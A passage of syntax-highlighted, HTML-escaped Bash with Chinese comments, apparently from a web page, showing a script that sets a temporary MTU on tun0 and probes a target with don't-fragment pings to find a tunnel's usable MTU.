&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;FULL_START&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1472&lt;/span&gt; &lt;span class="c1"&gt;# 完整测试起始值&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;FULL_END&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;500&lt;/span&gt; &lt;span class="c1"&gt;# 完整测试结束值&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;FULL_STEP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;-5 &lt;span class="c1"&gt;# 完整测试步长&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;TUNNEL_OVERHEAD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;40&lt;/span&gt; &lt;span class="c1"&gt;# 默认隧道包头开销(字节)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 帮助信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;show_help&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;用法: &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt; [选项]&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;选项:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; -t &amp;lt;IP地址&amp;gt; 指定测试目标 (默认: &lt;/span&gt;&lt;span class="nv"&gt;$DEFAULT_TARGET&lt;/span&gt;&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; -f 使用完整测试范围 (默认使用快速范围)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; -o &amp;lt;字节&amp;gt; 隧道包头开销 (默认: &lt;/span&gt;&lt;span class="nv"&gt;$TUNNEL_OVERHEAD&lt;/span&gt;&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; -s &amp;lt;起始值&amp;gt; 自定义测试起始值 (需要 -e 和 -p 配合)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; -e &amp;lt;结束值&amp;gt; 自定义测试结束值&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; -p &amp;lt;步长&amp;gt; 自定义测试步长 (必须为负数)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; -h 显示帮助信息&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 参数解析&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;getopts&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;t:fho:s:e:p:&amp;#34;&lt;/span&gt; opt&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nv"&gt;$opt&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt; t&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$OPTARG&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt; f&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;USE_FULL_RANGE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt; o&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;TUNNEL_OVERHEAD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$OPTARG&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt; s&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;CUSTOM_START&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$OPTARG&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt; e&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;CUSTOM_END&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$OPTARG&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt; p&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;CUSTOM_STEP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$OPTARG&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt; h&lt;span class="o"&gt;)&lt;/span&gt; show_help &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt; *&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;无效选项: -&lt;/span&gt;&lt;span class="nv"&gt;$OPTARG&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;2&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置目标&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;$DEFAULT_TARGET&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置测试范围&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_START&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_END&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_STEP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;使用自定义测试范围: &lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_START&lt;/span&gt;&lt;span class="s2"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_END&lt;/span&gt;&lt;span class="s2"&gt; (步长 &lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_STEP&lt;/span&gt;&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_START&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_START&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_END&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_END&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_STEP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_STEP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$USE_FULL_RANGE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;使用完整测试范围: &lt;/span&gt;&lt;span class="nv"&gt;$FULL_START&lt;/span&gt;&lt;span class="s2"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="nv"&gt;$FULL_END&lt;/span&gt;&lt;span class="s2"&gt; (步长 &lt;/span&gt;&lt;span class="nv"&gt;$FULL_STEP&lt;/span&gt;&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_START&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$FULL_START&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_END&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$FULL_END&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_STEP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$FULL_STEP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;使用快速测试范围: &lt;/span&gt;&lt;span class="nv"&gt;$QUICK_START&lt;/span&gt;&lt;span class="s2"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="nv"&gt;$QUICK_END&lt;/span&gt;&lt;span class="s2"&gt; (步长 &lt;/span&gt;&lt;span class="nv"&gt;$QUICK_STEP&lt;/span&gt;&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_START&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$QUICK_START&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_END&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$QUICK_END&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_STEP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$QUICK_STEP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 验证自定义步长&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_STEP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_STEP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -ge &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;错误: 自定义步长必须是负数!&amp;#34;&lt;/span&gt; &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算实际MTU值时需添加头部大小&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;HEADER_SIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;28&lt;/span&gt; &lt;span class="c1"&gt;# IP头(20字节) + ICMP头(8字节)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;SUCCESS_SIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置临时MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;TEMP_MTU&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1250&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev tun0 mtu &lt;span class="nv"&gt;$TEMP_MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;设置临时MTU为&lt;/span&gt;&lt;span class="nv"&gt;$TEMP_MTU用于测试&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# MTU测试函数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt;test_mtu_range&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$TEST_START&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$size&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -ge &lt;span class="nv"&gt;$TEST_END&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;packet_size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;size &lt;span class="o"&gt;-&lt;/span&gt; HEADER_SIZE&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$packet_size&lt;/span&gt; -le &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;无效测试大小: &lt;/span&gt;&lt;span class="nv"&gt;$size&lt;/span&gt;&lt;span class="s2"&gt; (结果值: &lt;/span&gt;&lt;span class="nv"&gt;$packet_size&lt;/span&gt;&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;size &lt;span class="o"&gt;+&lt;/span&gt; TEST_STEP&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;测试包大小: &lt;/span&gt;&lt;span class="nv"&gt;$size字节&lt;/span&gt;&lt;span class="s2"&gt; (MTU等效值: &lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;size &lt;span class="o"&gt;+&lt;/span&gt; TUNNEL_OVERHEAD&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt;字节)... &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; ping -c &lt;span class="m"&gt;2&lt;/span&gt; -M &lt;span class="k"&gt;do&lt;/span&gt; -s &lt;span class="nv"&gt;$packet_size&lt;/span&gt; &lt;span class="nv"&gt;$TARGET&lt;/span&gt; &amp;gt;/dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
